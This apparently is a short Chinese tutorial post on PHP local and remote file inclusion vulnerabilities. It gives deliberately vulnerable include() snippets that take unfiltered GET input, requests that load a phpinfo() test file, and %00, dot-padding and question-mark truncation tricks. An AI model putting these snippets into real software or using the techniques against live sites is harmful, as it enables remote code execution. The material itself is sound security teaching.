PHP文件包含漏洞

PHP的文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的。

文件包含分为本地文本包含(local file include)和远程文件包含(remote file include)

文件包含函数有:include(),include_once(),require()和require_once(), 它们之间的区别在于include()和include_once()在包含文件时即使遇到错误,下面的代码也会继续执行;而require()和require_once()则会直接报错退出程序。它们的写法可以在括号里面写要包含的路径,也可以直接用空格再跟路径。

1.本地文件包含是指只能包含本机文件的包含漏洞,大多出现在模块加载,模板加载和cache调用的地方

payload:

<?php define("ROOT",dirname(__file__).'/');

$mod=$_GET['a'];  //加载模块

include(ROOT.$mod.'.php');

?>

请求1.php?a=2 , 其中2.php的内容为<?php phpinfo(); ?>

2.远程文本包含是指可以包含远程文件的包含漏洞,远程文件包含需要设置allow_url_include=on

payload:

<?php include($_GET['url']);?>

请求url参数传入“http://remotehost/2.txt”, 其中2.txt的内容为<?php phpinfo();?>

文件包含截断:正常程序里面包含的文件代码一般像include(basepath.$mod.'.php')或者include($mod.'.php'),如果不能写入.php的后缀名的文件,则需要截断

1.利用%00截断

payload:

<?php include $_GET['a'].'.php'?>

请求1.php?a=2.txt%00, 其中2.txt的内容为<?php phpinfo();?>

注意:%00截断受限于GPC开启和addslashes等函数的过滤,且在5.3之后的版本不能用这个方法截断

2.利用点句(.)和反斜杠(/)来截断

payload:

<?php $str=' '; for($i=0;$i<=240;$i++) {$str.='.';}

$str='2.txt'.$str; include $str.'.php'; ?>

注意:这种方法不受GPC限制,不过在php5.3之后被修复

3.利用问号(?)伪截断

payload:

<?php include $_GET['a'].'.php'?>

请求1.php/a=2.txt?, 其中内容为<?php phpinfo();?>

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值